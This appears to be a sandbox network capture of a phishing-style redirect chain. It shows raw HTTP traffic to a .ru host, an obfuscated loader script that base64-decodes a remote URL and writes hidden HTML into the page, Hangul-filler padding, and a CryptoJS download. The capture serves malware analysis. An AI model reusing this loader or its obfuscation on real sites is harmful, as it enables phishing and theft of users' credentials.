2025-03-21 06:03:07 UTC	1369	IN	Data Raw: 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d Data Ascii: )]>>>6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=
2025-03-21 06:03:07 UTC	1369	IN	Data Raw: 37 5d 29 2c 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c Data Ascii: 7]),S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,
2025-03-21 06:03:07 UTC	1369	IN	Data Raw: 74 3d 69 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 Data Ascii: t=i.clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;ret
2025-03-21 06:03:07 UTC	1369	IN	Data Raw: 65 72 28 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 Data Ascii: er(o),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:08 UTC	704	OUT	GET /fIcaNduRepaS/ HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://vleducationdemo.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 06:03:09 UTC	1208	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PNU0LoTed80qfBLWPExClimkTW5VH1ytE5o%2B6iPgxiB68bGb6dxulAjh77NXkbFHbRGVdlzpJTNg9lX6erP5zvw8b57jsh8JYNH7TgZf4LCpegZLwV1oDv6QrBIzxueSllrl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=8416&min_rtt=8366&rtt_var=3173&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1601&delivery_rate=340425&cwnd=252&unsent_bytes=0&cid=15f64e0d7cb20157&ts=369&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkZtTE1aekpqWUZ1ZDg2SkxSMktLSlE9PSIsInZhbHVlIjoiWUJ0NFRMVytLSTJTNXRabFB6V1Jkb3VPR0FtOTRjWmtpRXd6S1Fpa0NXdVJxWVE1d3B5Q3Zsa083TnN1dmNvOEN2WDIvcnRnUEFtS3JaODVBZDdYTkVDRC83eU9NYU1BMG8rWGZ1Ui9zMjh0ZTQ2UzI4aXU4MW44QTdvQWI2czMiLCJtYWMiOiIwYzgzODM5MjRlMzFjMzNmZmYwNmNmZjI4ODEzMDE5MmNlYmJlNzAwMzEzY2VjN2RjMDViM2VhZjIyNTE5NzdhIiwidGFnIjoiIn0%3D; expires=Fri, 21-Mar-2025 08:03:08 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-21 06:03:09 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 64 46 52 48 70 79 51 32 34 32 54 6d 64 79 62 48 4e 6a 62 45 56 33 61 31 59 79 4d 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 56 6c 6e 53 6d 56 75 4c 31 46 49 4f 58 52 7a 55 6b 4e 48 4b 33 51 77 4d 6d 70 5a 61 32 35 49 52 6c 4e 31 53 30 4a 76 65 6b 63 35 61 58 4d 34 4e 56 67 72 61 45 4a 4f 57 56 5a 75 56 44 6c 45 65 44 64 6e 5a 57 5a 45 61 48 70 69 4f 45 38 79 59 55 52 32 64 53 39 7a 53 6b 56 44 53 32 46 75 64 58 4a 5a 4e 55 30 78 4b 30 64 34 61 31 4a 48 64 58 4d 78 55 32 4e 79 53 48 52 59 57 48 59 31 4e 45 56 42 61 54 68 4c 4e 45 6c 77 53 45 56 56 62 6d 5a 53 57 48 6c 59 55 57 5a 48 4e 30 64 76 53 6c 5a 69 4c 33 51 7a 4f 45 51 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjdFRHpyQ242TmdybHNjbEV3a1YyMHc9PSIsInZhbHVlIjoibVlnSmVuL1FIOXRzUkNHK3QwMmpZa25IRlN1S0Jvekc5aXM4NVgraEJOWVZuVDlEeDdnZWZEaHpiOE8yYUR2dS9zSkVDS2FudXJZNU0xK0d4a1JHdXMxU2NySHRYWHY1NEVBaThLNElwSEVVbmZSWHlYUWZHN0dvSlZiL3QzOEQ
2025-03-21 06:03:09 UTC	285	IN	Data Raw: 31 31 36 0d 0a 3c 73 63 72 69 70 74 3e 0a 70 50 4e 41 43 6c 69 72 62 41 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 7a 65 44 68 76 4c 6d 5a 74 59 58 6c 74 65 6d 70 77 4c 6e 4a 31 4c 32 5a 4a 59 32 46 4f 5a 48 56 53 5a 58 42 68 55 79 38 3d 22 29 3b 0a 69 41 56 62 61 6e 4c 62 59 75 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 65 4e 73 79 68 76 6a 4d 75 70 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 70 50 4e 41 43 6c 69 72 62 41 20 3d 3d 20 69 41 56 62 61 6e 4c 62 59 75 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 65 4e 73 79 68 76 6a 4d 75 70 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 Data Ascii: 116<script>pPNAClirbA = atob("aHR0cHM6Ly9zeDhvLmZtYXltempwLnJ1L2ZJY2FOZHVSZXBhUy8=");iAVbanLbYu = atob("bm9tYXRjaA==");eNsyhvjMup = atob("d3JpdGU=");if(pPNAClirbA == iAVbanLbYu){document[eNsyhvjMup](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0b
2025-03-21 06:03:09 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 44 78 73 61 57 35 72 49 48 4a 6c 62 44 30 69 61 57 4e 76 62 69 49 67 61 48 4a 6c 5a 6a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6b 5a 58 5a 6c 62 47 39 77 5a 58 4a 7a 4c 6d 4e 73 62 33 56 6b 5a 6d 78 68 63 6d 55 75 59 32 39 74 4c 32 5a 68 64 6d 6c 6a 62 32 34 75 63 47 35 6e 49 69 42 30 65 58 42 6c 50 53 4a 70 62 57 46 6e 5a 53 39 34 4c 57 6c 6a 62 32 34 69 50 67 6f 67 49 43 41 67 50 47 31 6c 64 47 45 67 61 48 52 30 63 43 31 6c 63 58 56 70 64 6a 30 69 57 43 31 56 51 53 31 44 62 32 31 77 59 58 52 70 59 6d 78 6c 49 69 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 4a 52 54 31 46 5a 47 64 6c 4c 47 4e 6f 63 6d 39 74 5a 54 30 78 49 6a 34 4b 49 43 41 67 49 44 78 74 5a 58 52 68 49 47 35 68 62 57 55 39 49 6e 4a 76 59 6d 39 30 63 79 49 67 59 32 39 75 64 47 Data Ascii: 7ffaDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udG
2025-03-21 06:03:09 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 Data Ascii: 44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44W
2025-03-21 06:03:09 UTC	1369	IN	Data Raw: 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b Data Ascii: 76g44Wk776g44Wk44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g776g776g776g44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk
2025-03-21 06:03:09 UTC	1369	IN	Data Raw: 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 Data Ascii: Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk44Wk776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g4
2025-03-21 06:03:09 UTC	1369	IN	Data Raw: 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 Data Ascii: g776g44Wk776g776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk44Wk44Wk44
2025-03-21 06:03:09 UTC	1369	IN	Data Raw: 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 Data Ascii: 776g44Wk44Wk44Wk776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44W
2025-03-21 06:03:09 UTC	1369	IN	Data Raw: 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 Data Ascii: 4Wk776g776g44Wk44Wk776g776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g776g776g44Wk44Wk776g776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g
2025-03-21 06:03:09 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 Data Ascii: 6g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g7

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:09 UTC	691	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://zy7z.fmaymzjp.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 06:03:10 UTC	956	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:09 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 2378 Expires: Wed, 11 Mar 2026 06:03:09 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eAgeNCgSEaR1761IDHSNr5hpOiqKCY1v1%2BP5g4PIUC088ddbhNleXn1cDW9CSrfBLW4Bqt8uUk2KKVh3COGAI3MU1oCc%2B1MmR2W9Z9mVP7tOQwItXRaV4wMcTzT3l7zw%2BqYJv7P1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 923b3e9b3b3e0f64-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 06:03:10 UTC	413	IN	Data Raw: 37 62 66 35 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf5!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-21 06:03:10 UTC	1369	IN	Data Raw: 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 Data Ascii: 